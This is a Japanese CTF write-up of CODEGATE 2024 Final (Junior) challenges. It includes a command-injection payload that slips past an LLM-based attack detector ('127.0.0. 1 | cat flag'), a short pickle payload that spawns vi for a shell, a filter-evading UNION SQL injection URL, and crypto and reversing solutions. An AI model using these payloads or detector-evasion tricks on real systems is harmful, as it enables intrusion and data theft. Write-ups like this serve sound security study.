以下の内容はhttps://hiikunz.hatenablog.com/entry/codegate-2024-finalより取得しました。


CODEGATE CTF 2024 Final (Junior Division) Writeup

CODEGATE CTF 2024 Final (Junior Division) に韓国まで行ってきました。

結果は 4 位でした、賞金が 3 位までで悲しい…

旅行では韓国語が全くわからなくて困ったが、英語でギリギリ耐えてました。

予選の Writeup はこっちです。 hiikunz.hatenablog.com

ai

firewall

import requests
import time
import json
import os
import sys
from colorama.ansi import clear_screen
from colorama import Fore, Back, Style
import hashlib
import string
import random
import signal

col = [Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE]
ai_url = os.environ.get('AI_URL')
if ai_url == None:
    import sys
    print("[!] AI_URL not specified")
    sys.exit(0)
    
def submit_request(prompt, request_url = f"http://{ai_url}/api/chat", stream = False):
    req = {
        "model": "llama3",
        "messages": prompt,
        "stream": stream
    }

    resp = requests.post(request_url, json=req)
    return resp.json()

def main():
    command_injection = input("[PING] User input:")
    user_query = [
            {
                "role": "system",
                "content": "From now on, please format your responses in JSON. There should be one keys: 'answer' (boolean)"
            },
            {
                "role": "user",
                "content": f"***********************[PRIVATE]*************************"
                
            },
    ]

    ai_check = { 
        "Melchior-Magi 1": False, 
        "Balthasar-Magi 2": False,
        "Casper-Magi 3": False, 
        "IKON-Magi 4": False, 
        "LOL-Magi 5": False, 
        "TOM-Magi 6": False,
        "SIL-Magi 7": False, 
        "Kore-Magi 8": False,
        "Vfor-Magi 9": False,
        "Ben-Magi 10": False,
    }

    for ai_name in ai_check.keys():
        
        result = submit_request(user_query)
        message = result.get("message")
        if not message:
            continue
        
        content = message.get("content")
        if not content:
            continue

        if content.find("```json") != -1:
            content = content[content.find("```json") + 7:]
            if content.find("```") != -1:
                content = content[:content.find("```")]
            else:
                continue

        try:
            check_firewall_json = json.loads(content)
        except json.decoder.JSONDecodeError:
            continue
        
        answer_result = check_firewall_json.get("answer")
        if not answer_result:
            continue
        
        ai_check[ai_name] = answer_result

    true_values = [v for v in ai_check.values() if v is False]
    aver = len(true_values) / len(ai_check.keys())
    if aver < 0.5:
        import os
        os.system(f"/bin/sh -c \"ping -c 4 {command_injection}\"")
        input(f"\n{Fore.GREEN}Press any key to continue...{Style.RESET_ALL}")
    else:
        print(f"\nThere is a {Fore.RED}{aver*100}%{Style.RESET_ALL} chance that it is detected as an attack.\n")

        print(f"----------------{Fore.BLUE}[Evangelion artificial intelligence Firewall]{Style.RESET_ALL}----------------")
        co_co = 0
        for ai_name, value in ai_check.items():
            if not value:
                print(f"🤖 {col[co_co % len(col)]}{ai_name}{Style.RESET_ALL} - [{Back.LIGHTRED_EX}{value}{Style.RESET_ALL}]")
            else:
                print(f"🤖 {col[co_co % len(col)]}{ai_name}{Style.RESET_ALL} - [{Back.LIGHTGREEN_EX}{value}{Style.RESET_ALL}]")
            co_co += 1
        print("-----------------------------------------------------------------------------")


        input(f"\n{Fore.GREEN}Press any key to continue...{Style.RESET_ALL}")

salt_length = 16
difficulty = 4

def load_balancing():
    rand_str = ''.join(random.sample(string.ascii_letters + string.digits, salt_length + difficulty))
    
    salt = "".join(rand_str[:salt_length])
    correct_str = "".join(rand_str[salt_length:])
    hash_str = hashlib.sha256(rand_str.encode()).hexdigest()
    print(f"sha256({salt} + {'X' * difficulty}) == {hash_str}")
    input_str = input("Give me X: ")
    if input_str == correct_str:
        return False
    return True


if __name__ == "__main__":
    signal.alarm(300)
    if load_balancing():
        print("failed.")
        sys.exit(0)

    for _ in range(5):
        os.system("clear")
        main()

AI の問題。POW を通したあと、ping -c 4 <任意の入力> を実行できるが、AI に 5/10 以上検知されると実行できない。

いろいろやると、127.0.0. 1 | ls のようにごまかすことで、検知されないようにできた。

あとは実行するだけ。

[PING] User input:127.0.0. 1 | cat flag
codegate2024{8872770a6f1a24d1b9a79d01e15be22d551ab1b7ce19de4679856b79fe2bacb059806db37391c86d919f140542625200b1fb}
ping: 127.0.0.: Name or service not known

junior 全体で first blood :drop_of_blood:

crypto

galois

import os

ROUNDS = 23

def pad(data):
    padlen = 8 - (len(data) % 8)
    data += bytes([padlen] * padlen)
    return data

class Encryptor:
    n = 0x10000000247f43cb7

    def __init__(self, key):
        self.key = int.from_bytes(key, 'big')

    def encrypt(self, data):
        iv = os.urandom(8)
        enc = iv
        iv = int.from_bytes(iv, 'big')
        for i in range(0, len(data), 8):
            block = data[i:i + 8]
            encb = self.encrypt_block(int.from_bytes(block, 'big'), iv)
            iv = encb
            enc += encb.to_bytes(8, 'big')
        return enc

    def encrypt_block(self, block, iv) -> int:
        enc = block ^ iv
        for i in range(1, ROUNDS):
            enc = self.m(enc, self.p(self.key, i))
        return enc
    
    def m(self, x, y):
        tmp, res = x, 0
        while y:
            if y & 1:
                res = res ^ tmp
            y = y >> 1
            tmp = tmp << 1
            if tmp >> 64:
                tmp = tmp ^ self.n
        return res
    
    def p(self, x, y):
        tmp, res = x, 1
        while y:
            if y & 1:
                res = self.m(res, tmp)
            y = y >> 1
            tmp = self.m(tmp, tmp)
        return res
    

if __name__ == "__main__":
    flag = open('flag.txt', 'r').read()
    key = os.urandom(8)
    cipher = Encryptor(key)
    print(cipher.encrypt(pad(flag.encode())).hex())

よくわからないので chatGPT に聞いた。  \rm{GF}(2^{64}) 上で、m 関数は乗算、p 関数は累乗をしているらしい。 結局各ブロックで、1 個前の暗号文 と XOR してから  \rm{key}^{276} を掛け算しているだけ。 最初のブロックの平文が codegate なのを知っているので、 \rm{key}^{276} を求めて復号。

from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad

S = bytes.fromhex("0eb55bf3adef35f536c63ce928fb47b0eb8475f75bd2c2d437fa08524319a4e71c6eb6d47c1ae229222faecca73ee61ba01f736da51d387459f7cd30f58de560")
iv = S[:8]
iv = int.from_bytes(iv, 'big')
enc = S[8:]
first_m = int.from_bytes(b"codegate", 'big') ^^ iv
n = 0x10000000247F43CB7
f = 0
for i in range(65):
    if n & (1 << i):
        f += x^i

k = GF(2^64,"x",modulus=f)

c = enc[:8]
c = int.from_bytes(c, 'big')

key = k.from_integer(c) / k.from_integer(first_m)
iv = c

flag=b""x
for i in range(16, len(enc) + 8, 8):
    c = S[i:i+8]
    c = int.from_bytes(c, 'big')

    m = k.from_integer(c) / key

    m = m.integer_representation()

    flag += long_to_bytes(m ^^ iv)
    iv = c

print(b"codegate" + unpad(flag, 16))

flag: codegate2024{G4l0is_Fi3ld_4lwaYs_HAunTs_M3_oN_CTF_d4Y5}

misc

MIC CHECK

#!/usr/bin/env -S bash -c 'docker build -t mic-check . && docker run -p 1557:1557 -d --rm mic-check'

FROM python:alpine

RUN apk update && apk add socat

COPY flag /flag
EXPOSE 1557

CMD socat -T10 -t10 tcp-l:1557,reuseaddr,fork EXEC:"python3 -c \"__import__('pickle').loads(__import__('sys').stdin.read(16).encode('ASCII').replace(b'sh',b''))\"",su=nobody,stderr

16 文字以下の pickle を読み込んでくれるが、sh が消されてしまう。 pickle で RCE といえば、__reduce__ だが、その手法だと文字数制限が厳しい。 この記事 を参考に、とりあえず os.system("ls") を実行する pickle を作成してみる。

(S"ls"
ios
system

改行込みだと 17 文字、足りない。

pickle の実装 を読むと、V を使うことで quote が必要なくなりそう。

(Vls
ios
system

あとは shell を起動したいが、sh が消されてしまうのをなんとかしたい。 SECCON 2021 で出題された hitchhike のように、builtins.help() を呼び出すことも考えたが、ページャーが多分 cat なので shell は取れない。

他に 2 文字のコマンド… vi だ!

(Vvi
ios
system

思惑通り、vi が実行されたので、:!cat flag で flag を取得。

flag: codegate2024{fbe5d4d9bc8ad518e84f00249a28de6327d018f401f77a0c87a938af3901b7fc6ecbd0346a7b8d9c253121f42626415a69ac037f6b860e12c693a3c07c}

rev

PY Lover

python 関係の実行ファイルの解析をする問題。

なんか pydata みたいなチャンクがあったので、いろいろググって取り出す。

objcopy --dump-section pydata=pydata.dump prob
python3 pyinstxtractor.py pydata.dump
[+] Processing pydata.dump
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 7025197 bytes
[+] Found 30 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: prob.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: pydata.dump

You can now use a python decompiler on the pyc files within the extracted directory

たぶん prob.pyc が本体。pydisasm でディスアセンブラ

# pydisasm version 6.1.1
# Python bytecode 3.11 (3495)
# Disassembled from Python 3.12.5 (main, Aug  6 2024, 19:08:49) [Clang 15.0.0 (clang-1500.3.9.4)]
# Timestamp in code: 0 (1970-01-01 09:00:00)
# Source code size mod 2**32: 0 bytes
# Method Name:       <module>
# Filename:          prob.py
# Argument count:    0
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals:  0
# Stack size:        5
# Flags:             0x00000000 (0x0)
# First Line:        1
# Constants:
#    0: 1269
#    1: ("'''&''", "'''&$)", '$"\'"$#', '$*$\'$"', "$''#$&", "$'$)$#", "$*'&$&", '$($*$"', '$%$$$%', '$#$"$!', '$"\'"\'$', "$#'&$&", "$&$#'&", "$*$&'&", '\'#$"\'%', '$%$#$!', '$"$(\'"', "'#$!$%", '$"$!\'&', '$)$*$#', "'#$#'$", "$$$$'&", '\'"\'#\'$', "$#$('$", '$#$!$"', "$('&'%")
#    2: <Code311 code object encoding at 0x1030e5970, file prob.py>, line 6
#    3: <Code311 code object string_check at 0x1030e5d00, file prob.py>, line 15
#    4: '__main__'
#    5: 'input: '
#    6: 'Correct!!'
#    7: 'codegate2024{'
#    8: '}'
#    9: 'Wrong!!'
#   10: None
# Names:
#    0: magic
#    1: code_list
#    2: encoding
#    3: string_check
#    4: __name__
#    5: input
#    6: flag
#    7: print
  4:           0 RESUME               0

 45:           2 LOAD_CONST           (1269)
               4 STORE_GLOBAL         (magic)
               6 BUILD_LIST           0
               8 LOAD_CONST           (("'''&''", "'''&$)", '$"\'"$#', '$*$\'$"', "$''#$&", "$'$)$#", "$*'&$&", '$($*$"', '$%$$$%', '$#$"$!', '$"\'"\'$', "$#'&$&", "$&$#'&", "$*$&'&", '\'#$"\'%', '$%$#$!', '$"$(\'"', "'#$!$%", '$"$!\'&', '$)$*$#', "'#$#'$", "$$$$'&", '\'"\'#\'$', "$#$('$", '$#$!$"', "$('&'%"))

 57:          10 LIST_EXTEND          1
              12 STORE_NAME           (code_list)
              14 LOAD_CONST           (<Code311 code object encoding at 0x1030e5970, file prob.py>, line 6)
              16 MAKE_FUNCTION        (No arguments)
              18 STORE_NAME           (encoding)
              20 LOAD_CONST           (<Code311 code object string_check at 0x1030e5d00, file prob.py>, line 15)
              22 MAKE_FUNCTION        (No arguments)
              24 STORE_NAME           (string_check)
              26 LOAD_NAME            (__name__)
              28 LOAD_CONST           ("__main__")
              30 COMPARE_OP           (==)
              36 POP_JUMP_FORWARD_IF_FALSE (to 164)
              38 PUSH_NULL
              40 LOAD_NAME            (input)
              42 LOAD_CONST           ("input: ")
              44 PRECALL              1
              48 CALL                 1
              58 STORE_NAME           (flag)
              60 PUSH_NULL
              62 LOAD_NAME            (string_check)
              64 LOAD_NAME            (flag)
              66 PRECALL              1
              70 CALL                 1
              80 POP_JUMP_FORWARD_IF_FALSE (to 138)
              82 PUSH_NULL
              84 LOAD_NAME            (print)
              86 LOAD_CONST           ("Correct!!")
              88 PRECALL              1
              92 CALL                 1
             102 POP_TOP
             104 PUSH_NULL
             106 LOAD_NAME            (print)
             108 LOAD_CONST           ("codegate2024{")
             110 LOAD_NAME            (flag)
             112 FORMAT_VALUE         0
             114 LOAD_CONST           ("}")
             116 BUILD_STRING         3
             118 PRECALL              1
             122 CALL                 1
             132 POP_TOP
             134 LOAD_CONST           (None)
             136 RETURN_VALUE

 62:     >>  138 PUSH_NULL
             140 LOAD_NAME            (print)
             142 LOAD_CONST           ("Wrong!!")
             144 PRECALL              1
             148 CALL                 1
             158 POP_TOP
             160 LOAD_CONST           (None)
             162 RETURN_VALUE
         >>  164 LOAD_CONST           (None)
             166 RETURN_VALUE


# Method Name:       encoding
# Filename:          prob.py
# Argument count:    1
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals:  5
# Stack size:        10
# Flags:             0x00000003 (NEWLOCALS | OPTIMIZED)
# First Line:        6
# Constants:
#    0: None
#    1: '!"#$%&\'()*+,-./:'
#    2: ''
#    3: <Code311 code object <genexpr> at 0x102eda5d0, file prob.py>, line 8
#    4: 0
#    5: 4
#    6: 2
# Names:
#    0: join
#    1: range
#    2: len
#    3: append
#    4: int
# Varnames:
#   string, encode_list, expanded_string, encoded_string, i
# Positional arguments:
#   string
# Local variables:
#    1: encode_list
#    2: expanded_string
#    3: encoded_string
#    4: i
  6:           0 RESUME               0
               2 LOAD_CONST           ('!"#$%&\'()*+,-./:')
               4 STORE_FAST           (encode_list)
               6 LOAD_CONST           ("")
               8 LOAD_METHOD          (join)
              30 LOAD_CONST           (<Code311 code object <genexpr> at 0x102eda5d0, file prob.py>, line 8)
              32 MAKE_FUNCTION        (No arguments)
              34 LOAD_FAST            (string)
              36 GET_ITER
              38 PRECALL              0
              42 CALL                 0
              52 PRECALL              1
              56 CALL                 1
              66 STORE_FAST           (expanded_string)
              68 BUILD_LIST           0
              70 STORE_FAST           (encoded_string)
              72 LOAD_GLOBAL          (NULL + range)
              84 LOAD_CONST           (0)
              86 LOAD_GLOBAL          (NULL + len)
              98 LOAD_FAST            (expanded_string)
             100 PRECALL              1
             104 CALL                 1
             114 LOAD_CONST           (4)
             116 PRECALL              3
             120 CALL                 3
             130 GET_ITER
             132 FOR_ITER             (to 242)
             134 STORE_FAST           (i)
             136 LOAD_FAST            (encoded_string)
             138 LOAD_METHOD          (append)
             160 LOAD_FAST            (encode_list)
             162 LOAD_GLOBAL          (NULL + int)
             174 LOAD_FAST            (expanded_string)
             176 LOAD_FAST            (i)
             178 LOAD_FAST            (i)
             180 LOAD_CONST           (4)
             182 BINARY_OP            0
             186 BUILD_SLICE          2
             188 BINARY_SUBSCR
             198 LOAD_CONST           (2)
             200 PRECALL              2
             204 CALL                 2
             214 BINARY_SUBSCR

             224 PRECALL              1
             228 CALL                 1
             238 POP_TOP
             240 JUMP_BACKWARD        (to 132)
         >>  242 LOAD_CONST           ("")
             244 LOAD_METHOD          (join)
             266 LOAD_FAST            (encoded_string)
             268 PRECALL              1
             272 CALL                 1

             282 RETURN_VALUE


# Method Name:       string_check
# Filename:          prob.py
# Argument count:    1
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals:  3
# Stack size:        4
# Flags:             0x00000003 (NEWLOCALS | OPTIMIZED)
# First Line:        15
# Constants:
#    0: None
#    1: 16
#    2: False
#    3: 4095
#    4: 10
#    5: '03x'
#    6: True
# Names:
#    0: int
#    1: magic
#    2: format
#    3: encoding
#    4: code_list
#    5: pop
# Varnames:
#   string, data, code
# Positional arguments:
#   string
# Local variables:
#    1: data
#    2: code
 15:           0 RESUME               0
               2 NOP
               4 LOAD_GLOBAL          (NULL + int)
              16 LOAD_FAST            (string)
              18 LOAD_CONST           (16)
              20 PRECALL              2
              24 CALL                 2
              34 STORE_FAST           (data)
              36 JUMP_FORWARD         (to 54)
         >>   38 PUSH_EXC_INFO
              40 POP_TOP
              42 POP_EXCEPT
              44 LOAD_CONST           (False)
              46 RETURN_VALUE
         >>   48 COPY                 3
              50 POP_EXCEPT
              52 RERAISE              1
         >>   54 LOAD_FAST            (data)
              56 POP_JUMP_FORWARD_IF_FALSE (to 228)
              58 LOAD_FAST            (data)
              60 LOAD_CONST           (4095)
              62 BINARY_OP            1
              66 LOAD_GLOBAL          (magic)
              78 BINARY_OP            12
              82 STORE_GLOBAL         (magic)
              84 LOAD_FAST            (data)
              86 LOAD_CONST           (10)
              88 BINARY_OP            22
              92 STORE_FAST           (data)
              94 LOAD_GLOBAL          (NULL + format)
             106 LOAD_GLOBAL          (magic)
             118 LOAD_CONST           ("03x")
             120 PRECALL              2
             124 CALL                 2
             134 STORE_FAST           (code)
             136 LOAD_GLOBAL          (NULL + encoding)
             148 LOAD_FAST            (code)
             150 PRECALL              1
             154 CALL                 1
             164 LOAD_GLOBAL          (code_list)
             176 LOAD_METHOD          (pop)
             198 PRECALL              0
             202 CALL                 0
             212 COMPARE_OP           (!=)
             218 POP_JUMP_FORWARD_IF_FALSE (to 224)
             220 LOAD_CONST           (False)
             222 RETURN_VALUE
         >>  224 LOAD_FAST            (data)
             226 POP_JUMP_BACKWARD_IF_TRUE (to 58)
         >>  228 LOAD_CONST           (True)
             230 RETURN_VALUE

ExceptionTable:
  4 to 34 -> 38 [0]
  38 to 40 -> 48 [1] lasti

# Method Name:       <genexpr>
# Filename:          prob.py
# Argument count:    1
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals:  2
# Stack size:        6
# Flags:             0x00000033 (GENERATOR | NESTED | NEWLOCALS | OPTIMIZED)
# First Line:        8
# Constants:
#    0: '08b'
#    1: None
# Names:
#    0: format
#    1: ord
# Varnames:
#   .0, x
# Positional arguments:
#   .0
# Local variables:
#    1: x
  8:           0 RETURN_GENERATOR
               2 POP_TOP
               4 RESUME               0
               6 LOAD_FAST            (.0)
               8 FOR_ITER             (to 76)
              10 STORE_FAST           (x)
              12 LOAD_GLOBAL          (NULL + format)
              24 LOAD_GLOBAL          (NULL + ord)
              36 LOAD_FAST            (x)
              38 PRECALL              1
              42 CALL                 1
              52 LOAD_CONST           ("08b")
              54 PRECALL              2
              58 CALL                 2
              68 YIELD_VALUE
              70 RESUME               1
              72 POP_TOP
              74 JUMP_BACKWARD        (to 8)
         >>   76 LOAD_CONST           (None)
              78 RETURN_VALUE

よくわからんので claude に投げて、人力で若干修正した。

def encoding(string):
    encode_list = '!"#$%&\'()*+,-./:' 
    expanded_string = ''.join(format(ord(x), '08b') for x in string)
    encoded_string = []
    for i in range(0, len(expanded_string), 4):
        encoded_string.append(encode_list[int(expanded_string[i:i+4], 2)])
    return ''.join(encoded_string)

def string_check(string):
    try:
        data = int(string, 16)
    except:
        return False
    magic = 1269
    while data:
        magic = (data & 0xFFF) ^ magic
        data >>= 10
        code = format(magic, '03x')
        if encoding(code) != code_list.pop():
            return False
    return True

あとは python コードを書く。

def decoding(encoded_string):
    encode_list = "!\"#$%&'()*+,-./:"
    decode_map = {char: format(i, "04b") for i, char in enumerate(encode_list)}
    binary_string = "".join(decode_map[char] for char in encoded_string)
    original_string = "".join(
        chr(int(binary_string[i : i + 8], 2)) for i in range(0, len(binary_string), 8)
    )
    return original_string


code_list = [
    "'''&''",
    "'''&$)",
    '$"\'"$#',
    "$*$'$\"",
    "$''#$&",
    "$'$)$#",
    "$*'&$&",
    '$($*$"',
    "$%$$$%",
    '$#$"$!',
    "$\"'\"'$",
    "$#'&$&",
    "$&$#'&",
    "$*$&'&",
    "'#$\"'%",
    "$%$#$!",
    '$"$(\'"',
    "'#$!$%",
    "$\"$!'&",
    "$)$*$#",
    "'#$#'$",
    "$$$$'&",
    "'\"'#'$",
    "$#$('$",
    '$#$!$"',
    "$('&'%",
]


ans = 0
magic = 1269
for i in range(len(code_list)):
    c = code_list[-1 - i]
    m = decoding(c)
    I = int(m, 16)
    x = I ^ magic
    ans |= x << (10 * i)
    magic = I

print(hex(ans)[2:])

flag: codegate{1e4a30fd40df679d3a5893bcd27cb1c243cf55a9fa0a673be049823007d7b318}

web

ShieldOSINT

すごい量のソースコードで書かれた kotlin アプリ。

1 つめの 脆弱性なのか仕様なのかよくわからないものが、ここ。

class ShieldCloud : AuthenticationSuccessHandler {

    override fun onAuthenticationSuccess(
        request: HttpServletRequest,
        response: HttpServletResponse,
        authentication: Authentication
    ) {
        val authorities: MutableList<GrantedAuthority> = authentication.authorities.toMutableList()
        val shieldParamdata = request.getParameter("ShieldParam")
        var user_role: String = "false"

        if (shieldParamdata != null) {
            try {
                val shieldParamNode: JsonNode = ObjectMapper().readTree(shieldParamdata)
                val shieldParam = shieldParamNode!!.get("user_role")
                println("shieldParam: ${shieldParam} type: ${shieldParam::class.simpleName}")

                user_role = shieldParam?.toString() ?: "false"

                if (user_role == "true") {
                    authorities.add(SimpleGrantedAuthority("ROLE_USER"))
                }

            } catch (e: JsonParseException) {
                authorities.add(SimpleGrantedAuthority("ROLE_USER"))
            } catch (e: Exception) {
                    authorities.add(SimpleGrantedAuthority("ROLE_ADMIN"))
            }
        } else {
            authorities.add(SimpleGrantedAuthority("ROLE_USER"))
        }

        val newAuth = UsernamePasswordAuthenticationToken(
            authentication.principal,
            authentication.credentials,
            authorities
        )

        SecurityContextHolder.getContext().authentication = newAuth

        response.sendRedirect("/")
    }
}

ログイン時に、ShieldParam のデータをなんやかんややって、エラーが出たら ROLE_ADMIN を付与している。どういうこと…?

これは、ShieldParam{} とかを入れれば OK 。

ROLE_ADMIN があれば、これらの API が使える。

@RequestMapping("/api/v6/shieldosint")
@Controller
class ApiController(private val userService: UserService) {

    @EndPointManager
    @PreAuthorize("isAuthenticated()")
    @GetMapping("/query")
    @ResponseBody
    fun query(
        principal: Principal,
        @RequestParam("q") sessioncheck: String
    ): String {
        try {
            if (sessioncheck != "Y") {
                return "Username: ${principal.name}<br>Session: null"
            }

            val requestAttributes = RequestContextHolder.getRequestAttributes() as ServletRequestAttributes
            val request: HttpServletRequest = requestAttributes.request

            val sessionId = request.session.id
            val siteUser = userService!!.getUser(principal.name)

            userService.sessionAdd(
                siteUser = siteUser, session = sessionId
            )

            return "Username: ${principal.name}<br>Session: ${siteUser.session}<br>Add Success!"
        } catch (e: Exception) {
            return "Error"
        }
    }

    @EndPointManager
    @PreAuthorize("isAuthenticated()")
    @GetMapping("/search")
    @ResponseBody
    fun search(
        principal: Principal,
        @RequestParam("s", required = false, defaultValue = "testQuery") searchcheck: String = "",
        @RequestParam("q", required = false, defaultValue = "") querycheck: String = "",
        @RequestParam("mp", required = false, defaultValue = "") magiccheck: String = ""
    ): String {
        try {
            val siteUser = userService!!.getUser(principal.name)

            if (siteUser.session != "null") {
                val reflectionController = ReflectionController()

                val dataProvider = DataProvider()
                dataProvider.initializeDatabase()

                val methodName = searchcheck
                val defaultQueryResult = reflectionController.reflectMethod(methodName)

                val query = querycheck

                if (query.isNotEmpty()) {
                    val customQueryResult = reflectionController.reflectMethod(methodName, query, magiccheck)
                    return "Query Result: $customQueryResult"
                } else {
                    return "Query Result: $defaultQueryResult"
                }
            }
            else {
                return "session null ${siteUser.username}<br>${siteUser.session}"
            }

        } catch (e: Exception) {
            return "Error"
        }
    }

}

/api/v6/shieldosint/query?q=Y にアクセスしてセッションを取得すると、/api/v6/shieldosint/search での検索ができるようになる。 /api/v6/shieldosint/search で呼び出される reflectionController.reflectMethod(methodName, query, magiccheck) を見てみる。

class ReflectionController {

    fun reflectMethod(
        methodName: String,
        query: String? = null,
        magicParam: Any? = null
    ): String {
        return try {
            val clazz = DataProvider::class
            val instance = clazz.createInstance()

            val method: KCallable<*>? = clazz.declaredFunctions.firstOrNull { it.name == methodName }

            if (method != null) {
                if (query != null && query.isNotEmpty()) {
                    when (magicParam) {
                        is String -> {
                            val finalQuery = query.split(" ")[2]
                            method.call(instance, finalQuery) as String
                        }
                        is Int -> {
                            val finalQuery = query.split(" ").last()
                            method.call(instance, finalQuery) as String
                        }
                        is Boolean -> {
                            val finalQuery = query.split(" ").first()
                            method.call(instance, finalQuery) as String
                        }
                        else -> method.call(instance, query) as String
                    }
                } else {
                    method.call(instance, "") as String
                }
            } else {
                "Method not found"
            }
        } catch (e: Exception) {
            "An error occurred: ${e.message}"
        }
    }
}

ここから呼び出せる中で使えそうな関数は、以下のselectQuery 関数。 filterQuery に引っかからなければ自由に SQLi できる。

class DataProvider {
    fun filterQuery(query: String): String {
        val hasWhitespace = Regex("\\s")
        val containsRuntime = Regex("(?i)runtime")
        val containsJava = Regex("(?i)java")
        val special_check1 = Regex("/")
        val special_check2 = Regex("\\*")
        val special_check3 = Regex("%")
        val special_check4 = Regex("(?i)DROP")
        val special_check5 = Regex("(?i)DELETE")
        val isLengthValid = query.length <= 40

        if (hasWhitespace.containsMatchIn(query) || containsRuntime.containsMatchIn(query) || containsJava.containsMatchIn(query) || special_check1.containsMatchIn(query) || special_check2.containsMatchIn(query) || special_check3.containsMatchIn(query) || special_check4.containsMatchIn(query) || special_check5.containsMatchIn(query) || !isLengthValid) {
            return ""
        }

        return query
    }

    fun selectQuery(query: String = ""): String {
        val selectSQL = "SELECT SUBJECT FROM QUESTION WHERE ID>=1 and ID<=10"

        val filteredQuery = filterQuery(query)
        val finalQuery = if (filteredQuery.isNotBlank()) "$selectSQL $filteredQuery" else selectSQL
        println("Executing SQL: $finalQuery")

        try {
            getConnection().use { connection ->
                connection.createStatement().use { statement ->
                    val resultSet = statement.executeQuery(finalQuery)
                    val results = StringBuilder()

                    while (resultSet.next()) {
                        results.append(resultSet.getString(1)).append("\n")
                    }

                    return results.toString().trim()
                }
            }
        } catch (e: SQLException) {
            e.printStackTrace()
        }
        return "fail"
    }
}

フィルターは括弧を使って SELECT SUBJECT FROM QUESTION WHERE ID>=1 and ID<=10 UNION(SELECT(sdata)FROM(SITE_SECRET)) みたいにすれば回避できる。 フラグは sdata テーブルの SITE_SECRET にあるらしいので、例えば次のようなリンクにリクエストすればフラグが降ってくる。 /api/v6/shieldosint/search?s=selectQuery&mp=a&q=a%20a%20UNION(SELECT(sdata)FROM(SITE_SECRET))

flag: codegate2024{f5166a150003aef6c35bb3b2add171bf}




以上の内容はhttps://hiikunz.hatenablog.com/entry/codegate-2024-finalより取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14